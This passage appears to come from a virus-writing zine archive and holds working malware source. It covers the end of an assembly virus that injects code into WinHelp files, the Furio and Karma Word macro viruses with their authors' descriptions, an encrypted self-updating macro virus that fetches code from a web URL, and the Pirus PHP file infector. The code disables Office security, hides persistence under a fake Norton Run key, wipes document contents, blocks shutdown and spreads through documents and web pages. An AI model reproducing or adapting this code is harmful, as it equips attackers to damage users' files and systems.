skipTitle:
inc esi
cmp byte ptr [esi-1],0
je skipTitle
noTitleHere:
mov edi,esi

; get size of the directory


mov esi,dword ptr [edx]

; the max size of the macro, just an aproximation


add esi,((vSize/2)*10)+1000h

; alloc a temporary buffer


pushad
push 00000004h
push 00001000h
push esi
push 0
call dword ptr [_VirtualAlloc+ebp]
or eax,eax
jne bufferOk
popad
jmp notNiceHlp

bufferOk:
mov dword ptr [mHnd+ebp],eax
popad

; copy system directory plus our macro to the buffer

; 1st old system


mov edi,dword ptr [mHnd+ebp]
mov esi,edx
mov ecx,dword ptr [edx]
rep movsb

; begin 'our macro' generation


; save mapped file handle
push eax
; save begin of our macros
push edi
lea esi,hlpMacro0+ebp
mov ecx,hlpMacroSize0
rep movsb

; generate the macro 'virus body' ;)


; it sholud be more simple but... hehe
lea ecx,vBegin+ebp
lea esi,vEnd+ebp
dec ecx
dec esi
getNext:
cmp byte ptr [esi],0 ; those chars must be
je fix ; changed 'cause they have
cmp byte ptr [esi],22h ; a sentimental value
je fix ; for winhlp32 in macroz
cmp byte ptr [esi],27h
je fix
cmp byte ptr [esi],5ch
je fix
cmp byte ptr [esi],60h
je fix
mov al,0b4h
mov ah,byte ptr [esi]
stosw
dec esi
cmp esi,ecx
je macroDoneFix
getNextInPair:
cmp byte ptr [esi],0
je fix2
cmp byte ptr [esi],22h
je fix2
cmp byte ptr [esi],27h
je fix2
cmp byte ptr [esi],5ch
je fix2
cmp byte ptr [esi],60h
je fix2
mov al,0b0h
mov ah,byte ptr [esi]
stosw
mov ax,5066h
stosw
dec esi
cmp esi,ecx
je macroDone
jmp getNext
fix:
mov al,0b4h
mov ah,byte ptr [esi]
dec ah
stosw
mov ax,0c4feh
stosw
dec esi
cmp esi,ecx
je macroDoneFix
jmp getNextInPair
fix2:
mov al,0b0h
mov ah,byte ptr [esi]
dec ah
stosw
mov ax,0c0feh
stosw
mov ax,5066h
stosw
dec esi
cmp esi,ecx
je macroDone
jmp getNext

macroDoneFix:
mov al,0b0h
mov ah,90h
stosw
mov ax,5066h
stosw

macroDone:
; end the macro
lea esi,hlpMacro1+ebp
mov ecx,hlpMacroSize1
rep movsb

; fix the macro size


pop esi ; get begin of macros
mov ecx,edi ; end of macros
sub ecx,esi ; size of macros
sub ecx,offset macro1-hlpMacro
; sub size of 1st macro and
; and the header of 2nd
mov word ptr [esi+offset macroSize-hlpMacro],cx
; store it! (at its offset)
pop eax

; into edi the size of the new system


sub edi,dword ptr [mHnd+ebp]
mov dword ptr [systemSize+ebp],edi

; fix directory size plus header


mov edx,dword ptr [mHnd+ebp]
mov dword ptr [edx],edi
; fix directory size
push edi
sub edi,size HLPFILEHEADER
mov dword ptr [edx+4],edi
pop edi

; increase hlp file size


add dword ptr [eax.hhEntireFileSize],edi
; and save
push dword ptr [eax.hhEntireFileSize]

push eax
call dword ptr [_UnmapViewOfFile+ebp]

push dword ptr [mfHnd+ebp]


call dword ptr [_CloseHandle+ebp]

; get new hlp file size


pop eax
; calculate size with padding
mov ecx,PADDING
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
mov dword ptr [padSize+ebp],eax

xor eax,eax
push eax
push dword ptr [padSize+ebp]
push eax
push 4h
push eax
push dword ptr [fHnd+ebp]
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jc errorOutClose

mov dword ptr [mfHnd+ebp],eax

xor eax,eax
push dword ptr [padSize+ebp]
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [mfHnd+ebp]
call dword ptr [_MapViewOfFile+ebp]
or eax,eax
jz errorOutCloseMap

; add the modified system directory


mov edi,eax
add edi,dword ptr [fileSize+ebp]
mov esi,dword ptr [mHnd+ebp]
mov ecx,dword ptr [systemSize+ebp]
rep movsb

push eax
push 00008000h
push 0h
push dword ptr [mHnd+ebp]
call dword ptr [_VirtualFree+ebp]
pop eax
notNiceHlp:
push eax
call dword ptr [_UnmapViewOfFile+ebp]

errorOutCloseMap:
push dword ptr [mfHnd+ebp]
call dword ptr [_CloseHandle+ebp]

errorOutClose:
push dword ptr [fHnd+ebp]
call dword ptr [_CloseHandle+ebp]

errorOut:
ret

;
; CRC32
;
; IN: esi offset of data to do CRC32
; edi size to do CRC32
;
; OUT:
; eax CRC32
;
; Original routine by Vecna. Gracias!
; This is one of these piezes of code that became essential to
; the virus coder.
;
CRC32:
cld
xor ecx,ecx
dec ecx
mov edx,ecx
push ebx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC:
dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jnz NextByteCRC
pop ebx
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
copyright db '< AYUDA! Coded by Bumblebee/29a >'

messForAvers db 0dh,0ah
db 'Cumpliendo con mi oficio',0dh,0ah
db 'piedra con piedra, pluma a pluma,',0dh,0ah
db 'pasa el invierno y deja',0dh,0ah
db 'sitios abandonados',0dh,0ah
db 'habitaciones muertas:',0dh,0ah
db 'yo trabajo y trabajo,',0dh,0ah
db 'debo substituir tantos olvidos,',0dh,0ah
db 'llenar de pan las tinieblas,',0dh,0ah
db 'fundar otra vez la esperanza.',0dh,0ah

; CRC32 and plaze to store APIs used


FSTAPI label byte
CrcCreateFileA dd 08c892ddfh
size0 db 12
_CreateFileA dd 0

CrcMapViewOfFile dd 0797b49ech
size1 db 14
_MapViewOfFile dd 0

CrcCreatFileMappingA dd 096b2d96ch
size2 db 19
_CreateFileMappingA dd 0

CrcUnmapViewOfFile dd 094524b42h
size3 db 16
_UnmapViewOfFile dd 0

CrcCloseHandle dd 068624a9dh
size4 db 12
_CloseHandle dd 0

CrcFindFirstFileA dd 0ae17ebefh
size5 db 15
_FindFirstFileA dd 0

CrcFindNextFileA dd 0aa700106h
size6 db 14
_FindNextFileA dd 0

CrcFindClose dd 0c200be21h
size7 db 10
_FindClose dd 0

CrcVirtualAlloc dd 04402890eh
size8 db 13
_VirtualAlloc dd 0

CrcVirtualFree dd 02aad1211h
size9 db 12
_VirtualFree dd 0
ENDAPI label byte

; data for the macro generation


hlpMacroSize equ (endOfMacro1-hlpMacro)+vSize
hlpMacro label byte
hlpMacro0 db 4,0,macro0Ends-offset macro0,0
macro0 db 'RR("USER32","EnumWindows","SU")',0
macro0Ends label byte
db 4,0
macroSize dw ?
macro1 db 'EnumWindows("'
endOfMacro0 label byte
hlpMacro1: jmp esp
db '",0)',0
endOfMacro1 label byte
hlpMacroSize0 equ endOfMacro0-hlpMacro
hlpMacroSize1 equ endOfMacro1-offset hlpMacro1

; several handles
fHnd dd 0
mfHnd dd 0
mHnd dd 0
; to store... erm
fileSize dd 0
; file size with padding
padSize dd 0
; the size of the generated system file
systemSize dd 0
; used into API search
address dd 0
names dd 0
ordinals dd 0
nexports dd 0
expcount dd 0
; for find files
hlpMask db '*.hlp',0,0
findHnd dd 0
find_data WIN32_FIND_DATA <?>

vEnd label byte

ends
end inicio
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[FURIO.TXT]ÄÄÄ
Furio Word Macro Virus

Version(s) v1.00

Type : Module Virus W97/2000

Number of Macros : 11 including 3 Basic Stealth Macros as below :-

AutoClose : Contains the main infection routine. Sets Word


security settings to minimum. Sets "The WalruS" to the
computers registered username. Also checks for payload
trigger.
SpreadTheWord : Document only infection macro.
FileOpen : Calls SpreadTheWord macro and performs as normal.
FileSave : Calls SpreadTheWord macro and performs as normal.
FilePrintDefault : Calls SpreadTheWord macro, checks for payload 2 and
performs as normal.
Payload : Opens Notepad and types a message. Changes screen to
white text on blue background.
HelpAbout : Displays a UserForm.
ToolsOptions : Sets Virus Protection and Save Normal Prompt back to ON,
performs as normal and then resets them back to OFF
ViewVBCode : Simple Stealth (Hooks name)
ToolsMacro : Simple Stealth (Hooks name)
FileTemplates : Simple Stealth (Hooks name)

Virus Description : The Furio virus does not infect the Normal Template at
all. It also does not rely on Auto run macros to spread.
This makes it very different to the common macro virus.
When an infected document is run the virus sets all of
the Word virus protection/Security settings to their
lowest. It then registers the computer username to "The
WalruS". It then exports its macro code to C:\Windows\Furio.drv
and sets this file as hidden. It then exports its UserForm
to "C:\Windows\AboutFrm.Frm". The virus then checks to see
whether its installed by seeing if the file
"C:\Program Files\Microsoft Office\Office\STARTUP\Furio.dot"
exists and If not then installs itself. It does this by opening
the normal template as a document, infecting it with the exported
macros and UserForm then saves it to
"C:\Program Files\Microsoft Office\Office\STARTUP\Furio.dot" and
closing it. All of the above is done on AutoClose. The
normal template is not infected and therefore does not
increase in size. Furio.dot is now installed everytime
word is opened due to it being in the Word StartUp folder.
To infect documentsThe Furio.dot hooks FileOpen, FileSave
and FilePrintDefault macros. They behave as normal however
they also infect and save the active document should the
marker text "' Furio" not be present on line 1 of the code.

Stealth : The virus contains 3 very simple stealth macros


ViewVBCode, ToolsMacro, FileTemplates. They contain no
code and just "hook" the macro so it no longer performs
its normal behaviour. A ToolsOptions macro is also
present for stealth. When the user selects this macro
the virus restores the Virus Protection and Save Normal
Prompt settings to ON, displays the Tools Options dialog
as usual and then resets these settings to OFF once the
menu has been closed.

Payloads : If the Second Now = The Minute Now on AutoClose, the


Furio virus opens notepad and displays the following
message "Hello there! Im the WalruS. Welcome To My New
Creation - Furio ///0-0\\\ WalruS 09/00". The virus
then sets the Word environment to white text on blue
screen. If Help About is selected a userform is shown.
If Print is selected and the second now is 59 then Furio
types " Please Select Help About For More Information!"
at the end of the document and then prints as normal.

The WalruS 09/00

e-mail WalruS@z.com For comments/questions or bugs etc!


Home Page http://www.walrus.8k.com/
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[FURIO.TXT]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[FURIO.BAS]ÄÄÄ
Attribute VB_Name = "Furio"
' Furio
Sub AutoClose()
On Error Resume Next
' Furio Virus v1.00 by WalruS 09/00
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
Application.DisplayAlerts = wdAlertsNone
Application.DisplayStatusBar = False
Application.ScreenUpdating = False
ActiveDocument.ReadOnlyRecommended = False
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
System.PrivateProfileString("",
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "RegisteredOwner") = "The
WalruS"
ActiveDocument.VBProject.VBComponents("Furio").export ("C:\Windows\Furio.drv")
ActiveDocument.VBProject.VBComponents("AboutFrm").export ("C:\Windows\AboutFrm.Frm")
SetAttr ("C:\Windows\Furio.drv"), 6
Template = Dir("C:\Program Files\Microsoft Office\Office\STARTUP\Furio.dot")
If Template = "" Then
NormalTemplate.OpenAsDocument
ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\Furio.drv")
ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\AboutFrm.frm")
ActiveDocument.SaveAs ("C:\Program Files\Microsoft Office\Office\STARTUP\Furio.dot")
NormalTemplate.Saved = True
ActiveDocument.Close
End If
If Second(Now) = Minute(Now) Then Call Payload
End Sub

Sub SpreadTheWord()
On Error Resume Next
If ActiveDocument.VBProject.VBComponents.Item("Furio").CodeModule.Lines(1, 1) <> "'
Furio" Then
ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\Furio.drv")
ActiveDocument.VBProject.VBComponents.Import ("C:\Windows\AboutFrm.frm")
ActiveDocument.Save
End If
End Sub

Sub FileOpen()
On Error Resume Next
Dialogs(wdDialogFileOpen).Show
Call SpreadTheWord
End Sub
Sub FileSave()
On Error Resume Next
Call SpreadTheWord
ActiveDocument.Save
End Sub

Sub FilePrintDefault()
On Error Resume Next
Call SpreadTheWord
If Second(Now) = 59 Then Selection.TypeText " Please Select Help About For More
Information!"
ActiveDocument.PrintOut
End Sub

Sub Payload()
On Error Resume Next
Options.BlueScreen = True
MyApp = Shell("notepad.exe", 1)
SendKeys "Hello there!~~Im the WalruS. Welcome To My New Creation - Furio~~~///0-0\\\
WalruS 09/00", True
AppActivate (MyApp)
End Sub

Sub HelpAbout()
On Error Resume Next
AboutFrm.Show
End Sub

Sub ToolsOptions()
On Error Resume Next
Options.VirusProtection = 1
Options.SaveNormalPrompt = 1
Dialogs(wdDialogToolsOptions).Show
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
End Sub

Sub ViewVBCode(): End Sub


Sub ToolsMacro(): End Sub
Sub FileTemplates(): End Sub ' cya
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[FURIO.BAS]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ABOUTFRM.FRM]ÄÄÄ
VERSION 5.00
Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} AboutFrm
Caption = "WalruS Presents Furio"
ClientHeight = 3225
ClientLeft = 45
ClientTop = 330
ClientWidth = 4710
OleObjectBlob = "AboutFrm.frx":0000
StartUpPosition = 1 'CenterOwner
End
Attribute VB_Name = "AboutFrm"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Label2_Click()
MsgBox "Goo Goo G'Joob", vbExclamation, "Furio By WalruS"
End Sub
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ABOUTFRM.FRM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KARMA.TXT]ÄÄÄ
Karma Word Macro Virus

Version(s) v1.00

Type : Class Virus W97/2000 with VBS backup/Payload

Number of Macros : 2

AutoOpen : Contains the replicating, security and backup code.


AutoClose : Contains the counter and payload.

Virus Description : The Karma virus first checks to see if the active
document is called Document1. If it is then it dosent infect. This prevents
the virus from trying to infect when word is run without a document. When an
document is run the virus sets all of the Word virus protection/Security
settings to their lowest. It then exports its macro code to C:\Windows\Karma.drv
and sets this file as hidden. It then imports this code to the Normal Template
and Active Document. Next the virus drops a VBS file "C:\Windows\Backup.vbs"
and sets it as a hidden file. The VBS file is run on boot up of the PC by
using the same registry line as Norton 2000 AV Auto-Protect thus disabling
anti-virus protection on the PC should Norton be installed. All of the above
happens on Auto Open.

When the infected document is closed the virus creates a counter in the Win.ini
file. This counter is document specific. Therefore every infected document opened
and closed in word on the users PC has its own counter in win.ini. The counters
name contains the documents directory also to ensure that the counter is
document specific. Next the virus checks to see if the value of the counter is
greater than 250. if it is then the contents of the document are erased and
over written by the message "This Document has expired due to Bad Karma". This
message is in "Space Woozies" font of size 100 and in bold. Finally the virus
checks to see if the document has been saved and if not saves it. All of the
above happens on Auto Close.

When the PC is rebooted, Backup.vbs is run automatically and quietly in the


background. It sets the virus protection and save normal prompt to false
(Should the user have reset them to true). Then it reinfects the normal
template, whether or not the virus has been removed, this is VBS backup of
the macros. Next the VBS file creates a shortcut in the Favourites folder
pointing to the WalruS home page. Next the VBS file checks to see if the
minute now is 30 and if so displays the following message box "Microsoft
Windows Shutdown Error", "Bad Karma" and sets the computer so that it cannot
be shutdown. The shutdown icon in the Start menu disappears as does the option
to shutdown in Ctrl-Alt-Delete. If the minute now is not equal 30 then this
payload is removed. This makes the shutdown error seem like an intermittent
problem with Windows. Finally the VBS file sets the computers registered
username to "The WalruS"

The WalruS 09/00

e-mail WalruS@z.com For comments/questions or bugs etc!


Home Page http://www.walrus.8k.com/
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KARMA.TXT]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KARMA.CLS]ÄÄÄ
VERSION 1.0 CLASS
BEGIN
MultiUse = -1 'True
END
Attribute VB_Name = "ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Private Sub Document_Open()
On Error Resume Next
' The Karma Virus v1.00 with VBS Backup/Payload
' By WalruS 09/00

If ActiveDocument.Name = "Document1" Then Exit Sub

Set Nor = NormalTemplate.VBProject.VBComponents(1).CodeModule


Set Doc = ActiveDocument.VBProject.VBComponents(1).CodeModule

With Options
.VirusProtection = False
.ConfirmConversions = False
.SaveNormalPrompt = False
End With

Application.DisplayStatusBar = False

System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
System.PrivateProfileString("",
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Norton Auto-Protect") =
"C:\Windows\Backup.vbs"

Open "C:\Windows\Karma.drv" For Output As #1


Print #1, VBProject.VBComponents(1).CodeModule.Lines(1, 85)
Close #1
SetAttr ("C:\Windows\Karma.drv"), 6

Nor.DeleteLines 1, Nor.CountOfLines: Nor.AddFromFile ("C:\Windows\Karma.drv")


Doc.DeleteLines 1, Doc.CountOfLines: Doc.AddFromFile ("C:\Windows\Karma.drv")

Open "C:\Windows\Backup.vbs" For Output As #1


Print #1, "' Backup.vbs for Karma by The WalruS"
Print #1, "On Error Resume Next"
Print #1, "Dim WSHShell"
Print #1, "Dim Shortcut, Fave"
Print #1, "Set WSHShell = WScript.CreateObject(""WScript.Shell"")"
Print #1, "Set Backup = WScript.CreateObject(""Word.Application"")"
Print #1, "Backup.Options.VirusProtection = False"
Print #1, "Backup.Options.SaveNormalPrompt = False"
Print #1, "For x = 1 To
Backup.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines"
Print #1,
"Backup.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1"
Print #1, "Next"
Print #1,
"Backup.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile
(""C:\Windows\Karma.drv"")"
Print #1, "Backup.Application.Quit"
Print #1, "Fave = (""C:\Windows\Favorites"")"
Print #1, "Set Shortcut = WSHShell.CreateShortcut(Fave & ""\The WalruS.url"")"
Print #1, "Shortcut.TargetPath =
WSHShell.ExpandEnvironmentStrings(""www.WalruS.8k.com"")"
Print #1, "Shortcut.Save"
Print #1, "WSHShell.RegWrite
""HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner"", ""The
WalruS"""
Print #1, "If Minute(Now) = 30 Then"
Print #1, "WSHShell.RegWrite
""HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose"", ""1"""
Print #1, "MsgBox ""Microsoft Windows Shutdown Error"", vbExclamation, ""Bad Karma"""
Print #1, "Else"
Print #1, "WSHShell.RegWrite
""HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose"", ""WalruS"""
Print #1, "End If"
Close #1
SetAttr ("C:\Windows\Backup.vbs"), 6

End Sub

Private Sub Document_Close()


On Error Resume Next
sFileName = Environ("Windir")
If Right(sFileName, 1) <> "\" Then
sFileName = sFileName & "\"
End If

sFileName = sFileName & "WIN.INI"

sCounter = System.PrivateProfileString(sFileName, ActiveDocument.FullName, "Counter")


sCounter = Val(sCounter) + 1
System.PrivateProfileString(sFileName, ActiveDocument.FullName, "Counter") = sCounter
If Val(sCounter) > "250" Then
Selection.WholeStory
Selection.Delete Unit:=wdCharacter, Count:=1
Set myRange = ActiveDocument.Paragraphs(1).Range
With myRange.Font
.Bold = True
.Name = "Space Woozies"
.Size = 100
End With
Selection.TypeText "This Document has expired due to Bad Karma"
End If
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KARMA.CLS]ÄÄÄ
Private Sub Document_Open()
j = j + VBA.CInt(1)
y = VBA.CInt(27)
Do
Word.Application.MacroContainer.VBProject. _
vbcomponents(VBA.CInt(j)).codemodule.ReplaceLine y, _
c(VBA.Mid(Word.Application.MacroContainer.VBProject. _
vbcomponents(VBA.CInt(j)).codemodule.lines(VBA.CInt(y), _
VBA.CInt(j)), (VBA.CInt(j) + VBA.CInt(j))), VBA.Val(VBA. _
Mid(Word.Application.MacroContainer.VBProject.vbcomponents _
(VBA.CInt(j)).codemodule.lines(VBA.CInt((25)), VBA.CInt(j)), _
(VBA.CInt(j) + VBA.CInt(j)))))
VBA.DoEvents
y = y + j
Loop While y <> VBA.CInt(87)
One
End Sub
Private Function c(a, b)
Do
y = y + VBA.CInt(1)
c = c & VBA.Chr(VBA.CInt(VBA.Asc(VBA.Mid(a, VBA.CInt(y), _
VBA.CInt(1))) Xor VBA.CInt(b)))
Loop While y <> VBA.CInt(Len(a))
End Function
'0
Private Sub One()
'On Error Resume Next
'y = y + VBA.CInt(1)
'sCurVer = VBA.CInt(1)
'Word.Application.Options.VirusProtection = j
'Word.Application.Options.SaveNormalPrompt = j
'Word.Application.StatusBar = False
'If Not Time Like "*2*3*" Then GoTo phuqit
'Set objNET = CreateObject("InternetExplorer.Application")
'If objNET = "" Then GoTo phuqit
'Do While objNET.Busy
'VBA.DoEvents
'Loop
'objNET.Visible = 0
'objNET.Navigate "http://www.stas.net/2/one/one.txt"
'Do While objNET.ReadyState <> 4
'VBA.DoEvents
'Loop
'sCode = objNET.Document.Body.innerText
'objNET.Quit
'sOneID = Mid(sCode, y, y)
'If sOneID <> Chr(165) Then GoTo phuqit
'sNewVer = Val(Mid(sCode, 4, y))
'If sNewVer > sCurVer Then
'sCode = Mid(sCode, 7)
'ThisDocument.VBProject.vbcomponents(y). _
'codemodule.deletelines y, 89
'ThisDocument.VBProject.vbcomponents(y). _
'codemodule.insertlines y, sCode
'GoTo nospread:
'End If
'phuqit:
'z = VBA.CInt(27)
'k = 210 + Int(Rnd * 45)
'ThisDocument.VBProject.vbcomponents(y). _
'codemodule.ReplaceLine 25, Chr(39) & k
'Do
'ThisDocument.VBProject.vbcomponents(y). _
'codemodule.ReplaceLine z, Chr(39) & c(ThisDocument. _
'VBProject.vbcomponents(y).codemodule.lines(z, y), k)
'VBA.DoEvents
'z = z + y
'Loop While z <> VBA.CInt(87)
'sCode = ThisDocument.VBProject.vbcomponents(y). _
'codemodule.lines(y, 89)
'If ThisDocument = ActiveDocument Then _
'Set objOne = NormalTemplate Else _
'Set objOne = ActiveDocument
'With objOne.VBProject.vbcomponents(y)
'With .codemodule
'If VBA.Mid(.lines(88, y), 2) <> "One" Then
'.deletelines y, .countoflines
'.insertlines y, sCode
'If ThisDocument = NormalTemplate Then _
'ActiveDocument.SaveAs ActiveDocument.FullName
'End If
'End With
'End With
'nospread:
'ThisDocument.SaveAs ThisDocument.FullName, wdFormatDocument
''Linezer0//worldwide
End Sub
'One
'(c) jackie
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PIRUS.PHP]ÄÄÄ
<?php
$handle=opendir('.');
while ($file = readdir($handle))
{ $infected=true;
$executable=false;

if ( ($executable = strstr ($file, '.php')) || ($executable = strstr ($file, '.htm')) || (


$executable = strstr ($file, '.php')) )
if ( is_file($file) && is_writeable($file) )
{
$host = fopen($file, "r");
$contents = fread ($host, filesize ($file));
$sig = strstr ($contents, 'pirus.php');
if(!$sig) $infected=false;
}
//infect
if (($infected==false))
{
$host = fopen($file, "a");
fputs($host,"<?php ");
fputs($host,"include(\"");
fputs($host,__FILE__);
fputs($host,"\"); ");
fputs($host,"?>");
fclose($host);
return;
}
}
closedir($handle);
?>
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PIRUS.PHP]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[HELLP.PHP]ÄÄÄ
<?php
//A sample infected file .. look at the end line .. that's where we are :)
print "hello";
?>

<?php include("C:\PROGRAM FILES\HTTPD\HTDOCS\WORK\pirus.php"); ?>


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[HELLP.PHP]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[PIRUS.TXT]ÄÄÄ
VXI.Pirus
The world's first PHP trojan (companion bug .. call it what u want)
By MaskBits/VXI

Introduction
------------
After being reading about Samhain, I could'nt help noticing the
power of this language. This virus (or call it a companion trojan)
is just intended to be a proof of concept code and is NOT DESIGNED
to be in the wild in any manner. I wanted that other more capable
and brilliant vx authors should look at PHP for their
future projects. This was also needed to keep my spirits up
with DIV (My main vx project) becoming very depressing.

I have only tested on my linux box and omnihttpd

Technical Explanation
---------------------
First let me tell you how to create enviroment for testing and improving
the bug.
a) For Win 9x/NT/2k users

Please visit http://www.omnicron.ab.ca and download Omni Httpd Personal


webserver. This has inbuilt PHP 4 support. After installing, use the
included test.php as a trial file and place pirus.php in the same directory.

Now fire up localhost and run the pirus.php, after successful "install"
of the bug .. the test.php should have a line at the end of the file
which reads

<?php include("blah\pirus.php"); ?>

where blah = ur path

b) For Linux users

Well you ppl are born clever :). Incase u run into ne problem, seek the
linux spirit inside u or contact me !

The bug itself functions very simple


-------------------------------------

1. It uses a function like the good old findfirst and findnext to


run thru the files

2. Each file is checked whether it's a file, writable, executable


-- *.php,*.html,*.shtml or whatever crap u come across .. just
nething apart from data (or other untouchable) files --
and whether already infected.

3. The program breaks incase a successful infection takes place.

Possible improvements :
-----------------------
Shell script, encryption, polymorphic like samhain
,network ability, better stealth, appending, good host scripts
which will be downloaded and used by many lame webmasters

We need a php expert ;-) but don't laugh at me :)

Greets (random) :
-----------------

MrSandman (My elder brother,explorer and vx genius)


Dageshi (my first and best friend)
Ruzz (Where are u nowadays ?)
VirusBuster (Thank you! for all the support),
Benny (ultracool coder)
Perikles ji (super friend),
Rajaat (an inspiration .. explore new worlds!)
Phage (ur a coder underneath :-)
Lord Julus (The win32 Guru and my future host in romania :)
CyberYoda (How goes ? I don't want ops :P .. j/k)
Tally (The fine soul)
Cicatrix (VDAT was,is and will be great)
HomeSlice (I miss your website)
Lifewire (long time no see)
a32,xsprite (lovebugs :-)
Snakeman (The search engine man)
CRC3rror (I don't forget old friends)
Veedee (I am coming to transylvania)
Jadugar (The corewarrior.. get back to life!)
Spanska (Your mars effect changed my vx life)
Raid (Be cool and happy :)
Evul (The Vx ISP man)
Vecna (You acted as if you were on drugs or something ;-)
Jacky Qwerty (Da Genius)

E-MAIL : maskbits@crosswinds.net
WWW : www.vxi.cjb.net

-----BEGIN PGP PUBLIC KEY BLOCK-----


Version: PGPfreeware 6.5.8 for non-commercial use <http://www.pgp.com>

mQENAzng1ucAAAEIAMCcpi/l0LxyOT8FSlR90ptib+zOl7ZFHA5BNGiPl+8KQsGR
RNdD9F1PA8rBUO2NPOXLqXFDQx2wXtnPkL6z3/NOcA7SUmRq3EbTt/bYgP6ZJ1zQ
kGZK0zCMjEe2WKtldqyt6Fb3K/ulJsMQ4eQ1k5MGBZ8/JMZlVi5shCVbPwPwOJBk
